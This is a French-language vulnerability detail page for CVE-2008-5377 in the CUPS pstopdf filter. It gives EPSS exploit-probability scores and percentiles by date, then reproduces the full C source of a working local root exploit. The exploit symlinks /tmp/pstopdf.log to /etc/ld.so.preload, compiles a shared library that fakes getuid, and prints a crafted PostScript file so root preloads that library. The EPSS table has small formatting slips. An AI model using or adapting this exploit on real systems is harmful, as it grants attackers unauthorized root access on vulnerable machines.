CVE-2008-5377 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.19%
2025-03-30	–	–	–	–	0.19%
2025-03-30	–	–	–	–	0.19,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	39%
2025-03-30	38%
2025-03-30	38%

/* * cve-2008-5377.c * * CUPS < 1.3.8-4 pstopdf filter exploit * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Usage: * * $ gcc cve-2008-5377.c -o cve-2008-5377.c * $ ./cve-2008-5377 * $ id * uid=0(root) gid=1000(vm) ... * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-5377 * * pstopdf in CUPS 1.3.8 allows local users to overwrite arbitrary files via * a symlink attack on the /tmp/pstopdf.log temporary file. * * Operation: * * The exploit creates and prints a malformed postscript document that will * cause the CUPS pstopdf filter to write an error message out to its log * file that contains the string /tmp/getuid.so. However, since we also * symlink the pstopdf log file /tmp/pstopdf.log to /etc/ld.so.preload, the * error message and malicious shared library path will be appended to the * ld.so.preload file, allowing us to elevate privileges to root. * * Note: * * This exploit only works under the (rare) conditions that cupsd executes * external filters as a privileged user, a printer on the system uses the * pstopdf filter (e.g. the pdf.ppd PDF converter). Also, /etc/ld.so.preload * must be world readable. */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> int main(void) { int ret; FILE *fp; struct stat log; fp = fopen("/tmp/cve-2008-5377.ps", "w"); if(!fp) { printf("error: cannot open /tmp/cve-2008-5377.ps\n"); goto cleanup; } fprintf(fp, "%%!PS-Adobe-2.0 EPSF-2.0\n( /tmp/getuid.so ) CVE-2008-5377\n"); fclose(fp); fp = fopen("/tmp/getuid.c", "w"); if(!fp) { printf("error: cannot open /tmp/getuid.c\n"); goto cleanup; } fprintf(fp, "int getuid(){return 0;}\n"); fclose(fp); ret = system("cc -shared /tmp/getuid.c -o /tmp/getuid.so"); if (WEXITSTATUS(ret) != 0) { printf("error: cannot compile /tmp/getuid.c\n"); goto cleanup; } unlink("/tmp/pstopdf.log"); ret = stat("/tmp/pstopdf.log", &log); if (ret != -1) { printf("error: /tmp/pstopdf.log already exists\n"); goto cleanup; } ret = symlink("/etc/ld.so.preload", "/tmp/pstopdf.log"); if (ret == -1) { printf("error: cannot symlink /tmp/pstopdf.log to /etc/ld.so.preload\n"); goto cleanup; } ret = system("lp < /tmp/cve-2008-5377.ps"); if (WEXITSTATUS(ret) != 0) { printf("error: could not print /tmp/cve-2008-5377.ps\n"); goto cleanup; } cleanup: unlink("/tmp/cve-2008-5377.ps"); unlink("/tmp/getuid.c"); return 0; } // milw0rm.com [2008-12-22]